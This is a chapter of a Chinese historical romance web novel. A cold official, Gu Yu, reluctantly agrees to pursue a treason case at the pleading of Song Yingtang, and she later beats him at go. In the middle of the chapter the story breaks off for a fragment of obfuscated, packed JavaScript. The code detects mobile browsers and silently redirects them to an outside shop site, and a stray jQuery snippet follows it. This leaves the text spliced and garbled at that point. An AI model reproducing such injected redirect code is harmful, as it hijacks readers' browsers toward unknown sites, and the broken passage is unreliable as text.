顾聿侧眼,幽幽一瞥。
季平低头走出雅阁,对着袁瑾越道:“袁大人,请回吧。”
袁瑾越还想说话,季平抢先道:“大人难道想去大理寺走一遭?”
袁瑾越腿立即发软,猛然摇头,自觉离开。
又是几日,时逢十五,顾聿按例前往昙华寺,替高从宁上香。
沉香插入香炉,袅袅轻烟盘旋散开,往生殿内,顾聿对着高从宁的牌位跪足两个时辰,起身。
刚出殿门,袁瑾越又一次出现在他眼前。
“袁瑾越,你真当我不会……”话还未说完,他恍然看到袁瑾越身后的宋映棠。
呵。
分开寻他没用,难道一起来就有用了?
“拦住他们。”顾聿吩咐季平,走向别处。
季平是随顾聿上过战场的人,应付上京的公子姑娘自是不在话下。
眼见顾聿消失不见,袁瑾越再也顾不上什么礼法,拦腰拖住季平,对宋映棠道:“你快去追他!”
曲径之上,顾聿脚步平稳,只闻远处细碎的脚步声越来越明显。宋映棠追出一段距离,总算见到了顾聿的背影。
快要追上时,忽然踩中青石板的间隙,身子斜斜往前倒。
“啊——”
听闻惊叫,顾聿转身,下意识揽住宋映棠。
温软的身子倒进怀中,下意识搂住顾聿的肩背。顾聿几乎同时揽住她的腰肢,一股清香扑而来。
顾聿从未和女子如此接近过,只觉宋映棠的腰肢细软,不堪一握。
宋映棠回过神,连忙松开手,发觉自己还被顾聿搂着,脸色倏然发红,对着近在咫尺之人低声道:“顾大人,多谢相扶,我已经站稳了。”
一种奇怪的感觉涌上心头,顾聿强行压下,松开宋映棠的腰,冷声发问:“你也想见识大理寺的厉害?”
宋映棠猛然摇头,后退一步,鼓足勇气将那日袁瑾越的话复述给顾聿,“只要顾大人愿意查查那家人,定能查出线索。”
顾聿:“若是查不出呢?”
宋映棠垂眼:“查不出,便是宣平卫公干。”声音越来越低,最后几不可闻。
反正宣平卫平日便是如此行事,这般说辞并无漏洞。
顾聿冷呵一声:“看来宋大人没有管教好你。”
宋映棠眼底染上几分焦急:“都是我一意孤行,顾大人有何不满皆可罚我,请勿牵连家中。”
顾聿打量她一眼,手不能提,肩不能抗,如何罚?
她不行,有个人倒是可以。
“你若再纠缠,袁瑾越真要入大理寺了。”
宋映棠立刻惊恐,细思一息,却恢复平静:“若是大人愿意去查那刁奴家,那便让袁瑾越入大理寺吧!”
顾聿:“你可知大理寺是什么地方?进去的人不死也会褪层皮。”
宋映棠眉间拧成一片,却坚持道:“若能换董家全家性命,那也值了。”
顾聿冷哼一声:“你倒是会算,舍得你的情郎?”
宋映棠瞪圆双眼:“我们二人清清白白,顾大人莫要凭空污蔑。”清秀的眉间染上几分薄怒,眼波暗流,嘴唇紧抿,又不敢发作。
仿佛受了天大的委屈。
顾聿轻噎,不是便不是,哪有这么大的气性。
季平终于摆脱袁瑾越,追了上来,见宋映棠将泣未泣的模样,以为是自家公子说了重话。
毕竟公子是出了名的不近女色。
果然,顾聿直接离开。
经过宋映棠身边时,低声道:“若是那家人查不出端倪,你应当知道是什么后果。”
说罢走远。
宋映棠眨眨眼,顾聿这是答应帮她了吗?
季平却大惊失色,闭紧嘴,牢牢跟在顾聿身后。
接下来几日,宋映棠是在极度期盼与不安中度过的,期盼的是传来董家解封的消息,不安的是顾聿突然上门抓她。
可这两件事都没发生,一连半个月,日子如死水那般平静。
宋映棠倚在窗边,心中暗自猜想,顾聿这个小人,那日不会是敷衍她的吧。
四月初十这日,宋映棠再也坐不住,又生出寻找顾聿的心思。
幸好他找起来不难,往是非多的地方寻便可。
“拾韵,准备马车。”
雕花马车才驶出长街,一阵纷乱声便传入耳中,拾韵下车片刻,回来禀道:“姑娘,是顾大人。”
“他在哪里?”宋映棠激动地问。
拾韵哆嗦着答:
“他在清风筑。”
“杀人。”
“听说有人对圣上不敬,在清风筑公然谋逆,煽动人心,当场死在顾大人的剑下。”
宋映棠身子一软,当即便想回府。可思及好友,她又不得不振作起来:“去清风筑。”
清风筑乃集雅之所,亦是宋映棠常去之处,可今日,每靠近一分,她的心中更惶恐一分。
到达时,她正好遇到尸体被搬运离开,虽有白布遮挡,可她仍然立刻避开视线,身子止不住颤抖。
很快,清风筑只余三尺血迹和唏嘘人群,以及对顾聿的骂声。
二楼之上,顾聿没理会其他,脱下沾血的披风,目睹宋映棠的不适,猜测她很快便会转身回府。
像她这样的深阁女子,如何能不怕?
谁知宋映棠踌躇片刻,视线重新穿梭在人群间。
她在找他。
顾聿紧紧盯着她,半晌,两人目光相对。
顾聿转身,进入雅阁。宋映棠深吸一口气,缓步上楼,进入同一间雅阁。
穿过层层帷幔,宋映棠行至软榻前,往望软榻一侧的顾聿,轻启薄唇:“顾大人,那日拜托您之事……”
顾聿:“那人妻子的典当凭证是他们多年积累所得,换的也并非金银,而是铜制器具,并不值钱。说是夫妻一场,替她丈夫超度用的。”
怎么会这样!
宋映棠不禁后退一步,那家人竟然一点纰漏都没有!
顾聿:“我还没来得及罚你,你却主动找上来了。看到方才那人的下场了吗?”平静如水的眼神落到宋映棠身上,意有所指。
这一吓,宋映棠险些撑不住身子,不过这些日子她已经想明白了,自己不过是替人申冤,即便无果,也罪不至死,顾聿此前就是在吓唬她。
她不怕此事,却害怕其他。
在楼底见到鲜血时,一个荒诞的念头冒出,若是董大人没有得救,董府会流多少血?
宋映棠不敢再想,强撑着不适也一定要寻到顾聿。
可眼下丝毫没有办法,该如何是好?
双眼噙满泪水,她低声求助:“顾大人,真的没有其他法子了吗?”
顾聿没想到自己随意一吓,宋映棠竟然哭了,望着通红的眼睛,心中莫名生出一丝烦躁。
“你和董溱的情分,值得你做到这般地步?”
宋映棠缓缓道:“今日是她的生辰,我早就准备好了贺礼,却没办法亲手交给她。”
顾聿沉默一瞬,道:“此案倒也并非全无转机。那个下人有个弟弟,平日不和哥哥父母住一起,董家事发后他便再也没出现过。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941866|213939||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“一定是他!”宋映棠笃定道,“只要找到他,定能查清真相。”
软榻旁,季平听到公子主动透露案情,心中不禁一惊。
其实他们一直在查这个案子。
董大人乃国子监祭酒,门下文官学子众多,若是他出事,必然引起轩然大波。
告密信呈上的那一刻,顾聿便意识到此案与寻常案件不同,有人想借他挑拨圣上和文官。
董穆虽入大理寺,却并未受到任何苛待,一日三餐伺候得好好的。
如此按捺许久,为的便是抓出幕后之人。
那家妇人频繁去当铺不过为了转移耳目,真正与幕后之人联系的,是那个下人的弟弟。
只是眼下尚未彻底查出幕后之人。
公子向来不会向旁人透露案情,更何况是此等大案,看来眼前这个姑娘在公子心中非同一般。
宋映棠不知其中细节,还眼巴巴求着顾聿查案:“那大人打算何时寻人?”
顾聿发问:“偌大的上京,寻个人谈何容易?我凭何帮你?”
“这,这难道不是顾大人的职责吗?”宋映棠啜泣道。
顾聿:“平察司事多,需得一件一件处理。”
宋映棠担心董大人受不住大理寺的酷刑,不停思考着如何让顾聿提前调查此案,忽然,她看到了桌边的围棋,止住泪水。
那是她最有信心的东西。
抬眼,她道:“顾大人可敢与我对弈一局?若是我赢了,劳烦顾大人即刻寻找那刁奴的弟弟。”
顾聿:“那你若输了呢?”
宋映棠:“我不会输。”
顾聿觉得宋映棠此人实在有趣,明明方才还在哭,说到围棋,泪水止住了,气势也有了,当世国手都不过如此。
他的弈术并不差,待赢了宋映棠,看她还有何话说。
“摆棋盘。”
季平将棋盘放至软榻上,又替顾聿布好棋罐,退出房内。
今日公子实在异常,他还是不要留在雅阁内打扰的好。
宋映棠坐到顾聿对面,率先落黑子于右上角,若非特殊情况,她都会先执棋。
顾聿略一沉吟,两指拈起一枚白子,小飞挂向黑棋右上一角,直对宋映棠的锐势。
他倒要看看,她能有几分锐气。
棋盘光影错落,棋子落盘声次第响起,感受顾聿的挑衅,宋映棠稳稳拖住边角,不露半分破绽。
顾聿步步紧逼,每一步都精准刁钻,意图打乱宋映棠的布局。
宋映棠却不和他硬碰,始终以守为攻,进退有度。若遇他强攻,便弃小利,谋全局。
对局过半,顾聿恍然回神。因着方才她的那股气势,他下意识判断她出棋凌厉,因此选择争锋相对。
可她的气势却和她的棋路完全不同,眼下局势已经偏向她。
顾聿尝试几次突围,皆被她截断白棋后路,目光悄然落到眼前之人。
她垂着眼,长睫轻闪,眸色沉静,目光牢牢锁在棋盘之间。秀挺的鼻梁被日光照得柔和,唇瓣轻抿,似在思考。两指被黑子相衬,尤为雪白。
看着她这般模样,顾聿竟忘了该如何落子,片刻,他将手中的白子放回棋罐。
这一局是他输了。
宋映棠还在认真研究顾聿反败为胜的机会,越是这种时候她越会谨慎。
眼前一缕碎发掉落,修长的手指正好替她拦住,宋映棠回神,立即后退一步。
“顾大人,你输了。”她又恢复此前的唯唯诺诺。
指尖停顿一瞬,收回,顾聿道:“回去等着吧。”